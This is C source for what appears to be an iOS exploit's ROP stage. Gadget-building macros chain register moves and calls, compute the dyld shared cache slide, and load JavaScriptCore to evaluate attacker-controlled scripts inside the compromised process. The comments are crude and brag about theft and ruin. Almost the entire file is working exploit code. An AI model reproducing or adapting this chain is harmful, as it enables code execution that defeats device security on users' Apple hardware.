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/*
* drunk_rac00n
*
* we call this "ROP" round these parts
* steal everything, kill everyone, cause total financial ruin.
*
* this exploit is seriously garbage, but gawd damnit it exploits the thing
*
* hax
*/
#include <mach-o/dyld.h>
#include "stage2.h"
#include <stdint.h>
#include <stdlib.h>
#include <syslog.h>
#include <dlfcn.h>
#include <stdio.h>
#define MOV_R0(what) do { \
chain[chain_len++] = what; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r0; \
} while (0)
#define CALL(what) do { \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = what; \
chain[chain_len++] = base + nulls_addr; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + blx_r5; \
} while (0)
#define CALL_1ARG(what, arg) do { \
MOV_R0(arg); \
CALL(what); \
} while (0)
#define STR_R0(where) do { \
chain[chain_len++] = where; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + str_r0_r4; \
chain[chain_len++] = where; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + ldr_r0_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define MOV_R1_R0() do { \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r1_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define DEREF_IN_R0(what) do { \
chain[chain_len++] = what; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + ldr_r0_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define DEREF_R0() do { \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + ldr_r0_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define MOV_R1(what) do { \
chain[chain_len++] = what; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + mov_r1_r0; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define ADD_R0_R1() do { \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + add_r0_r1; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + nop; \
} while (0)
#define CALL_4_ARG_L2_0(what, arg1, arg2) do { \
MOV_R0(0); \
STR_R0(base + reserve_addr + 0x40000); \
MOV_R0(base + weird_r3); \
STR_R0(base + reserve_addr + 0x4014); \
MOV_R0(base + reserve_addr + 0x4000); \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = arg2; \
chain[chain_len++] = base + reserve_addr + 0x40000; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + other_weird_r3; \
MOV_R0(arg1); \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = what; \
} while (0) \
#define CALL_4_PTRARG_L2_0(what, arg1, arg2) do { \
DEREF_IN_R0(arg1); \
STR_R0(stack_base + (chain_len * 4) + 520); \
DEREF_IN_R0(arg2); \
STR_R0(stack_base + (chain_len * 4) + 340); \
MOV_R0(0); \
STR_R0(base + reserve_addr + 0x40000); \
MOV_R0(base + weird_r3); \
STR_R0(base + reserve_addr + 0x4014); \
MOV_R0(base + reserve_addr + 0x4000); \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = 0x32323232; \
chain[chain_len++] = base + reserve_addr + 0x40000; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = base + other_weird_r3; \
MOV_R0(0x31313131); \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = UNUSED; \
chain[chain_len++] = what; \
chain[chain_len++] = 0; \
chain[chain_len++] = 0; \
chain[chain_len++] = 0; \
chain[chain_len++] = 0; \
chain[chain_len++] = base + nop; \
} while (0) \
#define CALL_SLID_4_ARG_L2_0(what, arg1, arg2) do { \
DEREF_IN_R0(base + reserve_addr + 20); \
MOV_R1_R0(); \
MOV_R0(what); \
ADD_R0_R1(); \
STR_R0(stack_base + (chain_len * 4) + 392); \
CALL_4_ARG_L2_0(0x12345678, arg1, arg2); \
} while (0)
#define CALL_SLID(what) do { \
STR_R0(base + reserve_addr + 444); \
DEREF_IN_R0(base + reserve_addr + 20); \
MOV_R1_R0(); \
MOV_R0(what); \
ADD_R0_R1(); \
STR_R0(base + reserve_addr + 448); \
MOV_R1(0); \
DEREF_IN_R0(base + reserve_addr + 448); \
STR_R0(stack_base + (chain_len * 4) + 96 + (18 * 4)); \
DEREF_IN_R0(base + reserve_addr + 444); \
CALL(0x1234567c); \
} while (0)
#define CALL_SLID_4_PTRARG_L2_0(what, arg1, arg2) do { \
DEREF_IN_R0(base + reserve_addr + 20); \
MOV_R1_R0(); \
MOV_R0(what); \
ADD_R0_R1(); \
/* MOV_R1_R0(); \
CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); \
*/ STR_R0(stack_base + (chain_len * 4) + 720); \
CALL_4_PTRARG_L2_0(0x12345679, arg1, arg2); \
} while (0)
#define PRINT_STILL_HERE() do { \
/* CALL_1ARG(base + printf_addr, 0x109000);*/ \
} while (0)
uintptr_t get_dyld_shc_slide(void) {
return _dyld_get_image_vmaddr_slide(1);
}
uintptr_t get_dyld_shc_sym_addr(char* sym) {
return dlsym(RTLD_DEFAULT, sym) - get_dyld_shc_slide();
}
uintptr_t get_dyld_shc_sym_addr_jsc(char* sym) {
return dlsym(dlopen("/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore", RTLD_LAZY) , sym) - get_dyld_shc_slide();
}
rop_chain_shit gen_rop_chain(uint32_t base,
uint32_t we_out_here_addr,
uint32_t mov_r0,
uint32_t puts_addr,
uint32_t blx_r5,
uint32_t nulls_addr,
uint32_t malloc_addr,
uint32_t mov_r1_r0,
uint32_t nop,
uint32_t malloc_status_addr,
uint32_t printf_addr,
uint32_t exit_addr,
uint32_t str_r0_r4,
uint32_t reserve_addr,
uint32_t ldr_r0_r0,
uint32_t add_r0_r1,
uint32_t stack_base,
uint32_t dyld_shc_base_status,
uint32_t scprefcreate_dsc_offset,
uint32_t scprefcreate_lazy_offset,
uint32_t weird_r3,
uint32_t other_weird_r3) {
/*
* to quote qwertyoruiop:
* ROP Insanity.
*
* Message to security researchers, feds and apple employees:
*
* If you want to understand this, you have to hit a blunt.
* I don't care if you're at work. Roll a fat one and smoke it. Right now.
*
* If your boss questions this, feel free to tell him to contact me. I'll explain how crucial THC is for this shit.
*/
/*
* this is definitely overkill
*/
uint32_t* chain = (uint32_t*)calloc(0x100000, sizeof(uint32_t));
uint32_t chain_len = 0;
rop_chain_shit chain_b0i = (rop_chain_shit)malloc(sizeof(struct rop_chain_shit_t));
/* output "intro" string */
CALL_1ARG(base + puts_addr, base + we_out_here_addr);
// CALL_4_ARG_L2_0(base + 0x9ad8c, LOG_SYSLOG, base + we_out_here_addr);
/*
/* allocate memory for file read later *\/
CALL_1ARG(base + malloc_addr, 0x100000);
STR_R0(base + reserve_addr);
MOV_R1_R0();
/* output malloc string *\/
CALL_1ARG(base + printf_addr, base + malloc_status_addr);*/
/* calculate dyld_shared_cache slide */
MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset));
MOV_R1_R0();
DEREF_IN_R0(base + scprefcreate_lazy_offset);
ADD_R0_R1();
STR_R0(base + reserve_addr + 20);
/* calculate dyld_shared_cache slide */
MOV_R0(0 - (scprefcreate_dsc_offset));
MOV_R1_R0();
DEREF_IN_R0(base + scprefcreate_lazy_offset);
ADD_R0_R1();
STR_R0(base + reserve_addr + 16);
/* print the status string */
MOV_R1_R0();
CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
// uint32_t slid_b0i = 0x2b14000;
uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr_jsc("JSContextGroupCreate");
uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup");
uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject");
uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString");
uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty");
uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript");
uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym");
MOV_R0(dlsym_);
STR_R0(base + reserve_addr + 24);
fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n"
"var JSObjectGetProperty = 0x%08x;\n"
"var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject);
// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday");
fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_);
/*
MOV_R0(0);
STR_R0(base + 0x140000);
STR_R0(base + 0x140004);
MOV_R0(0);
MOV_R1_R0();
MOV_R0(base + 0x140000);
CALL_SLID(settimeofday);
*/
PRINT_STILL_HERE();
CALL_SLID(JSContextGroupCreate);
STR_R0(base + reserve_addr + 0x40);
MOV_R1_R0();
PRINT_STILL_HERE();
MOV_R1(0);
DEREF_IN_R0(base + reserve_addr + 0x40);
CALL_SLID(JSGlobalContextCreateInGroup);
STR_R0(base + reserve_addr + 0x44);
MOV_R1_R0();
PRINT_STILL_HERE();
DEREF_IN_R0(base + reserve_addr + 0x44);
CALL_SLID(JSContextGetGlobalObject);
STR_R0(base + reserve_addr + 0x48);
PRINT_STILL_HERE();
DEREF_IN_R0(base + reserve_addr + 0x48);
MOV_R1_R0();
MOV_R0(0x108000);
CALL_SLID(JSStringCreateWithUTF8CString);
STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
DEREF_IN_R0(base + reserve_addr + 0x4a);
MOV_R1_R0();
CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
uint32_t slide = (base) >> 12;
fprintf(stderr, "%x %x\n", base, stack_base);
fprintf(stderr, "%x\n", get_dyld_shc_slide());
MOV_R0(0x422260);
STR_R0(0x422290);
// MOV_R0(0x2022260);
// STR_R0(0x2022290);
// MOV_R0(0x422260);
// STR_R0(0x422290);
MOV_R0(0x10a000);
CALL_SLID(JSStringCreateWithUTF8CString);
STR_R0(base + reserve_addr + 0x4a);
PRINT_STILL_HERE();
/*
DEREF_IN_R0(base + reserve_addr + 0x48);
MOV_R1_R0();
*/
CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a);
MOV_R1_R0();
PRINT_STILL_HERE();
DEREF_IN_R0(0x144444);
MOV_R1_R0();
CALL_1ARG(base + printf_addr, base + dyld_shc_base_status);
// CALL_1ARG(base + printf_addr, 0x109000);
/* exit */
CALL_1ARG(base + exit_addr, 69);
chain_b0i->teh_chain = chain;
chain_b0i->chain_len = chain_len * 4;
return chain_b0i;
}
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